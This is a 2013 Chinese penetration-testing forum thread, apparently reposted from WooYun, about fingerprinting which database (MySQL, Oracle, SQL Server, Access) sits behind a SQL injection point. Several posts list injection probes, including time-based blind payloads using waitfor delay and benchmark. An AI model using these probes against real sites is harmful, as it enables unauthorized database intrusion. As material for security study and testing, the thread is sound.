中国网络渗透测试联盟
标题:
一个注射点如何最快速确认是什么类型数据库
[打印本页]
作者:
admin
时间:
2013-2-11 09:54
标题:
一个注射点如何最快速确认是什么类型数据库
一个注射点如何最快速确认是什么类型数据库
, p+ Q0 j& P) [
xsser (十根阳具有长短!!) | 2013-02-05 12:36
9 A$ D6 L$ n# i
假设这么一个注射点:
! K& J# ~/ N! q! O0 s% m; L
show.html?id=2
* e" g( ?: v1 s
mysql:id=2 and version()>0
/ N7 A2 K+ I: V- f6 K) P
oracle:id=2 and '1'||'1'='11
) N2 ^( U9 ]& U* Y4 s
其他的欢迎补充
/ M, A; O3 x2 G3 E! p
1#
; b0 X8 q8 Z0 r+ W
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
4 D, Y% A2 g! y+ ^7 ]& `' P
Access:
7 n+ L* E( M' n% J5 T
aNd aSc(cHr(97))=97
0 H( z9 V0 Q& {7 i0 ~; c
and exists(select id from MSysAccessObjects)
- i' `5 Y( Y5 J9 G/ D* t
SQL Server:
2 l; B4 `& b7 `3 l C, P
and exists(select id from sysobjects)
9 E+ ]. o" a, Q. Z8 q5 X4 V
and length(user)>0
- b( W6 b& W+ }: d* ?. X
MySQL:
, z' y' |2 Y* |! D% n! z
and length(user())>0
( |" L7 M5 k& R+ Z" N! x2 c3 o
2#
) z: j& I9 N. v- V. V, F v0 Z2 T3 ~
xsser (十根阳具有长短!!) | 2013-02-05 12:48
* y; c c6 E) a$ V/ `% D, r5 h$ b
@upload 如果这些都不是呢…
8 G3 z* Z D7 s& w9 n. N+ I Y
3#
; ~9 ~' N4 w, }) s
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
! ^; E7 [& {( V* [6 `3 J4 t& V
@xsser 不快速的,延时注入
8 Q: t8 ~/ ^" a3 f
不知道这样写对不对
% @, l8 c4 {0 W5 `! m! L
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
5 T A( m! U! `3 P+ P5 X
mysql:id=2 and select benchmark(1e8,current_date());
8 o& b. p% x( m2 q' X
4#
d0 ?' p3 d$ B
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
; h/ f, @# e1 R5 a2 @
最快的貌似是看报错信息
$ w e- L/ P+ ^/ @: G1 v0 w/ [
oracle error
: ^" y& S# x' m; i ?) u
mssql error
( \3 O) w5 ^2 T' O
mysql error
& }' @5 o( b4 |; z! G! u
5#
0 k/ Q* V$ P5 N% e
Nimda (你们都是坏银~) | 2013-02-05 13:14
5 B* P& [& i, q
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
# m1 v8 c7 A3 j
6#
' A$ Q8 H' |) Y6 @
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
% b* ]0 f; l! }7 i
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
! W6 _3 n# W+ W# l$ Y2 x( }1 m
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
3 ]+ }/ B( @$ H' m3 l3 }6 C
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
0 m8 R# s {$ t4 K. E$ W5 W
7#
: c5 t) h& G+ X7 s) ]7 a0 Y) J
_Evil (HackEnd) | 2013-02-05 13:33
9 x7 L9 v0 b$ ]8 y0 }! b7 V$ a/ V! |
PostgreSQL
1 T d6 b: l- A0 K/ k w5 c
8#
; }! W1 f/ O6 d1 W8 }% o
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
5 r) J, R; f$ _( t, ]& x
切换编码 and 1=1
' E H) u/ b0 }0 }4 y$ ~. l3 Q
oracle:
5 ^% b% I$ M7 I @$ r1 Q7 ^% U4 ?
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
, U5 t) ?; ]- x& \
mssql:
: U0 y' R( g, p# N, W2 N; k
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
" F, y8 P9 F8 o* P3 N
mysql:
# K9 P; M' O9 o5 n& B0 c
CHAR(97, 110, 100, 32, 49, 61, 49)
+ H, K9 U9 B4 d/ @* ] y
9#
5 }- f4 X. l" ]9 k
xsser (十根阳具有长短!!) | 2013-02-05 14:31
4 N0 L' @+ C) K9 d( @1 R
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
8 W; O4 z5 R0 p! D
10#
- q5 q! [( B* r( Y0 ] w5 f
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
" R0 [% X! q+ ?- Q4 Y+ I
@xsser 是奇葩数据库类型的么?
7 R) Q# u. j5 `" V
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
9 J7 R1 x8 o) a# _' I& f p5 r
1.是否可以使用特定的函数来判断,该数据库特有的
: R2 I, Y# u/ G
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
) L& B- U" W3 a5 M' k
3.是否可以编码查询
8 q, [* A6 q3 D$ O: m
4.是否显可以利用错信息
0 W4 Z# C U8 A' O
5.是否存在数据库某些特性辅助判断
Z) A p8 A) S! n! x
个人见解
+ S# H0 P# R1 T1 X. N) q% M$ o9 X
11#
0 P$ i& F( R7 \5 _+ L+ d* w
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
7 m( j. S% p- k# n/ Y6 N# v
已收藏,mssql可以直接看到错误提示的吧~
7 X! R. g2 ?( I6 R
12#
% ?- I: R$ z! C1 b8 z
Passer_by | 2013-02-05 15:09
. V: ^! o+ w, E" |6 I
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
* Q; H% N6 o9 \3 v6 a+ l
from:
http://zone.wooyun.org/content/260
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2